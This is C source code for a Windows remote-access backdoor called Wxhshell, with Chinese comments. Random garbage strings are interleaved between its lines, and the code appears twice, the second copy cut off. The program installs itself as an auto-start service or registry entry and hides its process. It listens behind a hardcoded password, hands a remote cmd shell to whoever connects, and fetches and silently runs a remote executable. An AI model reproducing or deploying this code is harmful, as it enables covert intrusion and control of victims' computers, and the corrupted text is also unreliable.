KC|G HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [X|KXlNfm if(NULL == hInst ) return 0; !^<%RT9@| }X[wWH g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h$eVhN&Vv g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oN6 '% NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CNF3".a #9)D.d|5 if (!NtQueryInformationProcess) return 0; t|y`Bl2 $6p|}<u hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B\}B
H if(!hProcess) return 0; &WGG
kn m^Xq<`e"< if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ykbTWp$Y4Z Mee+bp CloseHandle(hProcess); "vG~2J 2pQdDbm hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C [h^bBq if(hProcess==NULL) return 0; +HOHu*D -%#F5br% HMODULE hMod; X6g{qz Hg_ char procName[255]; 8o4?mhqV unsigned long cbNeeded; S;FgS:; JHZ`LWq if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |ydOi& X0QLT:J b CloseHandle(hProcess); %;{Ro)03 UjI-<| if(strstr(procName,"services")) return 1; // 以服务启动 oDEvhNT YjM_8@< return 0; // 注册表启动 C%y!)v_x } I>L@P`d Lw!Q*3c // 主模块 7-Yn8Gq int StartWxhshell(LPSTR lpCmdLine) f.&((z?rC { Pwh0Se5Z SOCKET wsl; 9:tn!<^=I BOOL val=TRUE; #fR~7K R int port=0; o1(?j}:c| struct sockaddr_in door; (jY -MF3 ,:1_I`d>#X if(wscfg.ws_autoins) Install(); E)=X8y bAa+MB#A port=atoi(lpCmdLine); ^E3 i]Oem Y]R;>E5o| if(port<=0) port=wscfg.ws_port; L&2 Zn{#` z1u1%FwOfM WSADATA data; n!K<g.tjW if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -I\Y
m_) !?~>f>js_l if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Yuo setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); atA:v3" door.sin_family = AF_INET; s,|s;w*. door.sin_addr.s_addr = inet_addr("127.0.0.1"); <(U:v door.sin_port = htons(port); :UgCP ~Y 2l9RU} if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;.<0ln V closesocket(wsl); aJi0!6oy return 1; 9M&uQccY } CkJ\v%JAW _PR><L_ if(listen(wsl,2) == INVALID_SOCKET) { OAhCW*B closesocket(wsl); bq<DW/ return 1; >x$.mXX{ } f*}H4H E O Wxhshell(wsl); jZ8#86/#{ WSACleanup(); 1hQeuG tb@&!a$`? return 0; .;&1"b8G psHW(Z8G } oMj;9,WK' JNYFu0 // 以NT服务方式启动 5#SD$^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I2$.o0=3Y { e+t2F
|xDh DWORD status = 0; gVs8W3GW DWORD specificError = 0xfffffff; g}\Yl. oL2 a:\7 serviceStatus.dwServiceType = SERVICE_WIN32; '&.QW$B\B_ serviceStatus.dwCurrentState = SERVICE_START_PENDING; ATb[/=hP<R serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lB0: 4cIj serviceStatus.dwWin32ExitCode = 0; UvtSNP&/2d serviceStatus.dwServiceSpecificExitCode = 0; 9Xv>FVG! serviceStatus.dwCheckPoint = 0; 8"\g?/ serviceStatus.dwWaitHint = 0; C/w!Y)nB= Xt!%W hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `f9I#B
if (hServiceStatusHandle==0) return; UF)4K3X #l!Sz247 status = GetLastError(); KF#,Q if (status!=NO_ERROR) 3'H 1T { y~cDWD<h serviceStatus.dwCurrentState = SERVICE_STOPPED; *Q@%<R serviceStatus.dwCheckPoint = 0; ^mu?V-4 serviceStatus.dwWaitHint = 0; >lRa},5( serviceStatus.dwWin32ExitCode = status; _k,/t10 serviceStatus.dwServiceSpecificExitCode = specificError; ^\X-eeA SetServiceStatus(hServiceStatusHandle, &serviceStatus); Yb<t~jm return; I<'wZJRRa } Y GZX}- FD&"k=p+X serviceStatus.dwCurrentState = SERVICE_RUNNING; l }i
. serviceStatus.dwCheckPoint = 0; 7;UUS1 serviceStatus.dwWaitHint = 0; G:]w
UC\ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); MU ;
L7^ } JDyP..Dt A{:PpYs // 处理NT服务事件,比如:启动、停止 )9L:^i6 VOID WINAPI NTServiceHandler(DWORD fdwControl) ?y\gjC6CNG { `~bnshUk switch(fdwControl) `nxm<~-\ { kAEm#oz=g case SERVICE_CONTROL_STOP: =3Y:DPMB serviceStatus.dwWin32ExitCode = 0; yX:*TK4 serviceStatus.dwCurrentState = SERVICE_STOPPED; O+Zt*jN; serviceStatus.dwCheckPoint = 0; 39w|2%(O. serviceStatus.dwWaitHint = 0; ]0VjVU- { ?~;8Y=O SetServiceStatus(hServiceStatusHandle, &serviceStatus); i9NUv3# } Wq+6`o return; ctv =8SFv( case SERVICE_CONTROL_PAUSE: Q)7iu serviceStatus.dwCurrentState = SERVICE_PAUSED; SYPG.O?I break; eAkj pc case SERVICE_CONTROL_CONTINUE: 7n-;++a5] serviceStatus.dwCurrentState = SERVICE_RUNNING; zF6]2Y?k% break; R(?g+:eCpM case SERVICE_CONTROL_INTERROGATE: iY /N%T; break; <23oyMR0 }; &gn^i!%Z) SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~f[AEE~,s+ } 1Qi5t?{ ;_.%S *W\ // 标准应用程序主函数 !z
!R)6 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Sc!{
o!9\ { qjsS2,wM [dK5kO // 获取操作系统版本 GgoPwl#{ OsIsNt=GetOsVer(); a)+;<GZ~ GetModuleFileName(NULL,ExeFile,MAX_PATH); H0zKL]D'> Fu*~{n // 从命令行安装 ?F@0"qi if(strpbrk(lpCmdLine,"iI")) Install(); hcvWf\4'#q >i> %@ // 下载执行文件 rpk
)i:k\ if(wscfg.ws_downexe) { r>=)Y32Q if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8\+Q*7~@i WinExec(wscfg.ws_filenam,SW_HIDE); bp06xHMu } ohFUy}y -I$qe Xy if(!OsIsNt) { >Cb[ // 如果时win9x,隐藏进程并且设置为注册表启动 Vf67gux HideProc(); 4,o|6H StartWxhshell(lpCmdLine); 8._
A[{.f } L#Mul&r3x0 else YxEc(a" if(StartFromService()) LRqBP|bjCD // 以服务方式启动 U2=PmS P StartServiceCtrlDispatcher(DispatchTable); t;7 tuq
else v-;j44sB // 普通方式启动 XY[uyR4Z StartWxhshell(lpCmdLine); vI<n~FHt >a@c5 return 0; S}q6CG7 u } ^Z:oCTOP W0]W[b,:u$ 2]Nc@wX`p CS;bm`8a =========================================== NuLyu=.? jl;%?bx iRo/ ~( " "GeO%J8 Jww LAQ5 !TJCQ[Aa} " v !~lVv& _b+=q:$/ #include <stdio.h> j Y>BU& #include <string.h> sx ;7 #include <windows.h> GA,6G [E #include <winsock2.h> wf4?{H #include <winsvc.h> prf #include <urlmon.h> 1m*fkM# 01n5]^.p #pragma comment (lib, "Ws2_32.lib") +Ar=89 #pragma comment (lib, "urlmon.lib") "~y@rqIba 'eNcQJh #define MAX_USER 100 // 最大客户端连接数 Zrtyai{8l #define BUF_SOCK 200 // sock buffer y$=$Yc&Ub #define KEY_BUFF 255 // 输入 buffer J2\%rb, [FHSFr
E,5 #define REBOOT 0 // 重启 Q+
r4 #define SHUTDOWN 1 // 关机 YQb43Sh` @Sxb}XI!f #define DEF_PORT 5000 // 监听端口 kW"6Gc&HUN ;++CMTza] #define REG_LEN 16 // 注册表键长度 5&WYL #define SVC_LEN 80 // NT服务名长度 ).[Mnt/Ft ~J}{'l1{yf // 从dll定义API eyq8wQT typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q`nsL)J typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '.jr" 3u typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); FL}k0 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6I0G.N <!ewb=[_$ // wxhshell配置信息 3jMHe~.E< struct WSCFG { ')kn int ws_port; // 监听端口 o1x IGP< char ws_passstr[REG_LEN]; // 口令 Q/oe l'O*x int ws_autoins; // 安装标记, 1=yes 0=no ai7*</ls char ws_regname[REG_LEN]; // 注册表键名 Ob:}@jj char ws_svcname[REG_LEN]; // 服务名 N/ 7Q(^ char ws_svcdisp[SVC_LEN]; // 服务显示名 E1(2wJ-3" char ws_svcdesc[SVC_LEN]; // 服务描述信息 KkVFY+/) char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N"X;aVFs_ int ws_downexe; // 下载执行标记, 1=yes 0=no ?[n{M char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >k gL N char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |D `r o 4l0ON>W( }; xZJ
r* 8]!%mrS // default Wxhshell configuration r|U'2+vn struct WSCFG wscfg={DEF_PORT, 8`e75%f:2 "xuhuanlingzhe", =+K2`=y;WF 1, zmV5k "Wxhshell", VqzcTr]_ "Wxhshell", AS;EO[Vn "WxhShell Service", 1&S34wJF "Wrsky Windows CmdShell Service", 95Q{d'& "Please Input Your Password: ", da c?b( 1, [D[&aA "http://www.wrsky.com/wxhshell.exe", 3l?D%E]P "Wxhshell.exe" 7Sc._G{[% }; Lq#>N_72W0 g<,kV(_7 // 消息定义模块 `~zY!sK char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H-&Z+4 +Xs char *msg_ws_prompt="\n\r? for help\n\r#>"; pkd#SY char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; JI{|8)S char *msg_ws_ext="\n\rExit."; ~*WSH&ip char *msg_ws_end="\n\rQuit."; 8Vcg30_+ char *msg_ws_boot="\n\rReboot..."; wYxnKm~f char *msg_ws_poff="\n\rShutdown..."; Ood8Qty( char *msg_ws_down="\n\rSave to "; K)m\xzT/ *82f{t] char *msg_ws_err="\n\rErr!"; >"^H"K/T char *msg_ws_ok="\n\rOK!"; ?.&]4z([ >Ux5UD char ExeFile[MAX_PATH]; m'|{AjH
z6 int nUser = 0; U#=Q` HANDLE handles[MAX_USER]; $vlc@]~d`& int OsIsNt; ghXh nxG Z)RoFD1]C SERVICE_STATUS serviceStatus; ES~ykE SERVICE_STATUS_HANDLE hServiceStatusHandle; %i!&Fr &&Sl0(6x[T // 函数声明 {VWX?Mm int Install(void); YQU#aOl int Uninstall(void); ET ;=o+\d int DownloadFile(char *sURL, SOCKET wsh); d,r%LjNI int Boot(int flag); {-28% void HideProc(void); Q+d9D1b int GetOsVer(void); pNY+ E5 int Wxhshell(SOCKET wsl); !{@!:m3w void TalkWithClient(void *cs); *],]E; int CmdShell(SOCKET sock); wYTF:Ou^5~ int StartFromService(void); 7O3 \ int StartWxhshell(LPSTR lpCmdLine); a78&< 0~qnwe[g} VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %<x2=#0 VOID WINAPI NTServiceHandler( DWORD fdwControl ); /\=syl L;a>J // 数据结构和表定义 -]1F]d SERVICE_TABLE_ENTRY DispatchTable[] = X{SD3j=G# { /b *VFA/75 {wscfg.ws_svcname, NTServiceMain}, 6qsT/ {NULL, NULL} JJL#Y }; h= uv4& OidF{I*O // 自我安装 wyqXD.of int Install(void) 3Lx]-0h { <mE)&7C char svExeFile[MAX_PATH]; -V
Rby HKEY key; t/?x#X strcpy(svExeFile,ExeFile); VGLE5lP X YG<7Zv
// 如果是win9x系统,修改注册表设为自启动 }nrl2yp:% if(!OsIsNt) { wgm?lfX< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mT8")J|2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :Gyv%>. RegCloseKey(key); $7q'Be@{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z!Y ^iN RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pgK) RegCloseKey(key); Xne{:!btw return 0; :-x F=Y(; } L&td4`2y } ]|cL+|':y } v1h*/#
else { K8 Y/sHl j(Tt-a("z // 如果是NT以上系统,安装为系统服务 Xj :?V; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]d]tQPEU if (schSCManager!=0) D'y/pv}! { 4zyy SC_HANDLE schService = CreateService 2"
(vjnfH ( /6_>d$ schSCManager, F?]nPb| wscfg.ws_svcname, ejYJOTT{^ wscfg.ws_svcdisp, ADoxma@ SERVICE_ALL_ACCESS, oi4tj.!J SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HbWl:y U SERVICE_AUTO_START, D{~mJDUzK SERVICE_ERROR_NORMAL, 9o7E/wP svExeFile, Rn={:u4 NULL, jBexEdH
NULL, MqXN,n+`k NULL, SooSOOAx[ NULL, Z/=x(I0 NULL m09
Bds ); {b4+ Yc if (schService!=0) (dO, +~ { ,@2d<d] CloseServiceHandle(schService); >SA?lG8f% CloseServiceHandle(schSCManager); 0w?\KHT strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 't3/< h< strcat(svExeFile,wscfg.ws_svcname); IZ /M d@C if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y"=j[. RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); OA#AiQUR RegCloseKey(key); mgeNH~%m@* return 0; =
E'\ } g0w<vD`<g } $0rSb0[ CloseServiceHandle(schSCManager); A!}Wpw%(/ }
:~JgB } \N1G5W (Sc]dH return 1; ]wLHe2bEu } JCNZtWF "i$Avm // 自我卸载 j>s>i int Uninstall(void) +.UdEIR";M { 9H5S@w[je HKEY key; f`@$saFD l%h0x*?$ if(!OsIsNt) { d)m+Hc. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @$ E&H`da RegDeleteValue(key,wscfg.ws_regname); 7_>No*[ RegCloseKey(key); E )D*~2o/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mx s=< RegDeleteValue(key,wscfg.ws_regname); wPTXRq% RegCloseKey(key); =\7o@ 38 return 0; TqK`X#Zq } &d]%b`EXq } xcfEL_'o } |<&9_Aq_ else { @K`2y'#b F"xD^<i SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X
$LX;Lv if (schSCManager!=0) L~fxVdUz { "\bbe @ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7c|8>zES:E if (schService!=0) k4te[6) { NDLk+n if(DeleteService(schService)!=0) { &6nOCU) CloseServiceHandle(schService); ej dYh $ CloseServiceHandle(schSCManager); o*H j E return 0; gZ6]\l]J{ } 4PUSFZK? CloseServiceHandle(schService); HIP6L,$ } B:dk>$>uQ CloseServiceHandle(schSCManager); 1ipfv-hb6 } /*J}7 } *Iv.W7 [ `HXP*Bp# return 1; T-x1jC!B' } UD6D![e cwiHHf> // 从指定url下载文件 (h> Jz int DownloadFile(char *sURL, SOCKET wsh) v2R41*z, { ,Oojh;P_ HRESULT hr; sU"D%G char seps[]= "/"; %''z~LzJ8 char *token; rug^_d =B char *file; K8CjZpzq char myURL[MAX_PATH]; o, e y. char myFILE[MAX_PATH]; (u`[I4z` %/!n]g- strcpy(myURL,sURL); S'~Zlv3` token=strtok(myURL,seps); :Z|lGH
= while(token!=NULL) WJvD,VMz { jT/SZ|S file=token; +!9&E{pmo token=strtok(NULL,seps); ^znj J\ }
5zXw0_ ]37k\O?vd GetCurrentDirectory(MAX_PATH,myFILE); 7n W*3( strcat(myFILE, "\\"); uJVu:E.#1 strcat(myFILE, file); EacqQFErl send(wsh,myFILE,strlen(myFILE),0); '^pA%I2D send(wsh,"...",3,0); |}zv CD hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .`4N#EjP if(hr==S_OK) _%#Q
\D return 0; WbZ{)
i else -kY7~yS7 return 1; G!},jO*" WS6pm6@A*! } z[:UPPbW ;n?72&h
// 系统电源模块 W70J2 int Boot(int flag) #q. Q tDz { !%b.k6%>w HANDLE hToken; AD$k`Cj TOKEN_PRIVILEGES tkp; R:SFj!W1 "5Oi[w&F5 if(OsIsNt) { A-gNfXP,D OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gNr/rp9A$m LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Pnq[r2#]: tkp.PrivilegeCount = 1; ?Pz:H/$ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l/[0N@r~ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %jEdgD%xV if(flag==REBOOT) { }5dYmny if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :_v/a+\n return 0; SpbOvY=> } N\b%+vR else { [AE-~+m)^ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ypEcjVPD return 0; hU=n>g>nx } /C"dwh"`` } T)Z2=5V else { 9u<4Q_I` if(flag==REBOOT) { =)5eui>{ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XE);oL2xP return 0; #UGtYD}" }
>QRpRHtb else { H?tonG.^( if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Kd}cf0 return 0; J \U}U'qP } \[&`PD } ^S!^$d* sl^i%xJ|l' return 1; ~5$V8yfx h } g2%&/zq/ X~XpX7d! // win9x进程隐藏模块 4"72 void HideProc(void) Z\8TpwD2 { -E~pCN(E ~6!{\un
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !`S? if ( hKernel != NULL ) |,CWk|G { )f]E<*k'E pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i/QE)"B"q ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c/.U< FreeLibrary(hKernel); N}x\Ll } }8cL+JJU m@o/ W return; <;\T
e4g[ } xvP<~N- yiyyw,iy // 获取操作系统版本 [ 9)9>- int GetOsVer(void) INrl^P* { t(/b'Peq OSVERSIONINFO winfo; [FLRrTcE winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cy|]}n85 GetVersionEx(&winfo); Nzj7e 1= if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [Lh<k+ return 1; @dE|UZ=( else cA%70Y:AV return 0; FyYD7E } {>[,i`) cE[B
(e // 客户端句柄模块 3~H_UGw int Wxhshell(SOCKET wsl) G]5m@;~l5 { y
BF3Lms SOCKET wsh; s,>_kxuX struct sockaddr_in client; JSX-iHhW DWORD myID; t4)~A5s vk\a>}; while(nUser<MAX_USER) v-2_# { [)U|HnAJ int nSize=sizeof(client); HNN,1MN wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hMz= \)Pl if(wsh==INVALID_SOCKET) return 1; +e_NpC _?Zg$7VJ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HJ[@;F|aU if(handles[nUser]==0) Y6L_
_ RT closesocket(wsh); :lz@G4=C else 6QVdnXoG/ nUser++; <a%9d<@m } d
dB}mk6 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4:<74B 5Mm><"0 return 0; zs!,PQF( } .G#wXsJj A&_H%]{<: // 关闭 socket AcV 2l void CloseIt(SOCKET wsh) 'Ba Ba= { d`9%:2qE closesocket(wsh); +{Yd\{9 nUser--; 9[}L=n ExitThread(0); [#$: X+lw } n'a=@/ JK:i- // 客户端请求句柄 Lqy]bnY void TalkWithClient(void *cs) $ )q?z.U { T+p?VngF 1,,kU SOCKET wsh=(SOCKET)cs; #7/;d= char pwd[SVC_LEN]; @]ydWd char cmd[KEY_BUFF]; ?&?gQ#\N_J char chr[1]; Hq'mv_}qG int i,j; ( 0/g)gW %>^CD_[eO while (nUser < MAX_USER) { 0NlC|5ma) 9xL8 ];- if(wscfg.ws_passstr) { M3-
bFIt if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F|\^O[#R //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x]o~ %h$ //ZeroMemory(pwd,KEY_BUFF); yT<6b)&*& i=0; TZ8:3ti while(i<SVC_LEN) { Y?G9d6]Lk6 "&(.Z ( // 设置超时 S*,DX~vig fd_set FdRead; BUR96YN. struct timeval TimeOut; ?B>
{rj FD_ZERO(&FdRead); Wt=QCutt FD_SET(wsh,&FdRead); `8^4, TimeOut.tv_sec=8; tow0/Jt TimeOut.tv_usec=0; .OI&Zm- int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4D(5WJ& if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !p$z8~ \q9wo*A if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y'tPD#|r pwd=chr[0]; i>Wsc? if(chr[0]==0xd || chr[0]==0xa) { ?K9&ye_rgw pwd=0; B:5\+_a! break; ;{mKt%# } HD^ Ou5YB i++; ,z A9* } h!l&S2)D` ;"/[gFD5u // 如果是非法用户,关闭 socket C+\c(M a if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UYJMW S= } u0^Vy#@_ )`;Q]?D send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c^ $_epc* send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LLE\ ;,bv dO/iL7K& while(1) { ;!H<W[ R+vago: ZeroMemory(cmd,KEY_BUFF); D; xRgHn N]gJ(g // 自动支持客户端 telnet标准 hgt@Mb j=0; /SDN7M]m! while(j<KEY_BUFF) { G Y? ?q8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h RK& cmd[j]=chr[0]; g}(yq:D if(chr[0]==0xa || chr[0]==0xd) { V`*N2ztSL cmd[j]=0; h"h3SD~ break; B",5"'id } 9t)A_}O j++; >TZ 'V, } 5]_m\ zn= M*XAyo4fI // 下载文件 -J7BEx if(strstr(cmd,"http://")) { ?#N:
a send(wsh,msg_ws_down,strlen(msg_ws_down),0); [6+iR if(DownloadFile(cmd,wsh)) +XL^dzN[|$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ht >5R else KO*# ^+g send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3<Qe'd
^ } 6T*MKu else { ^y"
#2Ov &Pk #v switch(cmd[0]) { |qUi9#NUo 25e*W>SLw // 帮助 S5o\joc case '?': { 1!N|a< # send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !e>+O^ break; )Z4ilpU, } r7dwj // 安装 z4CqHS~% case 'i': { 4oxAC; L if(Install()) &6ymGo send(wsh,msg_ws_err,strlen(msg_ws_err),0); n1yIQ8 F else Dnx` ! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?w^MnK0U) break; c?ZM<Y" } rV6&: \ // 卸载 :#_Ne?\a@ case 'r': { H?]%b!gQG if(Uninstall()) il8n
K send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,|5|aVfh else Ez()W,6]g send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]iI2 break; %5g(|Y] } S10"yhn(-t // 显示 wxhshell 所在路径 :%&|5Ytb case 'p': { V47z;oMXct char svExeFile[MAX_PATH]; TH[xSg strcpy(svExeFile,"\n\r"); AW{"9f4 strcat(svExeFile,ExeFile); .wH`9aq;5@ send(wsh,svExeFile,strlen(svExeFile),0); <'y}y}% break; rdQKzJiX=U } xh6Yv%\@ // 重启 0^lCZ,uq; case 'b': { 38<Z=#S send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <8J_[
S if(Boot(REBOOT)) CjRU3
(Q send(wsh,msg_ws_err,strlen(msg_ws_err),0); N.~zQVO#R else { -hd@<+;E closesocket(wsh); #BLx +mLq ExitThread(0); 6&J7=g%G } t,bQ@x{zVC break; >O;V[H2[ } gWK[%.Jnw // 关机 .}n-N
# case 'd': { G'#f*) f send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7\0}te if(Boot(SHUTDOWN)) a,ff8Qm send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5%r:hO @S else { 7.mYzl-F( closesocket(wsh); 9Sey&x ExitThread(0); gZf8/Tp\z } )44c[Z break; @PL.7FM<v } M)qb6aD0 // 获取shell W(#u^,$e[ case 's': { }Fq~!D
Ee CmdShell(wsh); f(Su closesocket(wsh); e 48N[p ExitThread(0); >TQNrS^$J break; s~p(59 } ;_~9".'<d // 退出 =&K8~
case 'x': { iNCT( N~. send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f>CJ1;][{ CloseIt(wsh); ;% <[*T:*' break; 7Gwo:s L } oKMr Pr[` // 离开 7 /6Zp? case 'q': { zG*
>g send(wsh,msg_ws_end,strlen(msg_ws_end),0); =w5]o@ closesocket(wsh); PDgd'y WSACleanup(); ,J&\)
yTP exit(1); \{EYkk0] break; xqQLri} } -HU4Ow } H`bS::JI- } iSP}kM} \=qZ),bU@ // 提示信息 1c\KRK4 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C0gY } agGgj>DDd } c5em*qCw$ |Vo{ {) return; VPr`[XPXb } 11iV{ h elGwS\sw // shell模块句柄 -=WQed} int CmdShell(SOCKET sock) s-801JpiJ { kXroFLrY STARTUPINFO si; L$z(&%Nx ZeroMemory(&si,sizeof(si)); A\w"!tNM| si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h!mx/Hx si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ucYweXsO3 PROCESS_INFORMATION ProcessInfo; 5W!#,jz char cmdline[]="cmd"; &[z<p CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a=4 `C*) return 0; nw-%!}Ot" } tMiy`CPh *djVOC // 自身启动模式 )^`V{iD int StartFromService(void) G]n_RP$G { Al1}Ir typedef struct U#G<cV79 { 2!_DkE DWORD ExitStatus; 8F
K%7\V DWORD PebBaseAddress; %M,^)lRP DWORD AffinityMask; SE$~Wbj? DWORD BasePriority; /.WIED}> ULONG UniqueProcessId; az1#:Go ULONG InheritedFromUniqueProcessId; K(,MtY* } PROCESS_BASIC_INFORMATION;
^o87qr0g] 8#nAs\^ PROCNTQSIP NtQueryInformationProcess; #62*'.B4 Cq -URih static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R > [2*o" static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VkkC;/BBW Jsa]RA HANDLE hProcess; ,4j^lgJ PROCESS_BASIC_INFORMATION pbi; gHtflS f hjlt# HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H+
7HD|GE if(NULL == hInst ) return 0; (?xR<]~g* y8ODoXk g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,R\e x =c g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N*f]NCSi NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w\RYxu? jcp6-XM if (!NtQueryInformationProcess) return 0; 25j?0P"& d%K& hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V-(*{/^" if(!hProcess) return 0; D}`MY\H t2Px?S? if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TQtHU6 %O$=%"D6 CloseHandle(hProcess); R"yxpw ;$67GK hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); AqAL)`#K if(hProcess==NULL) return 0; h0
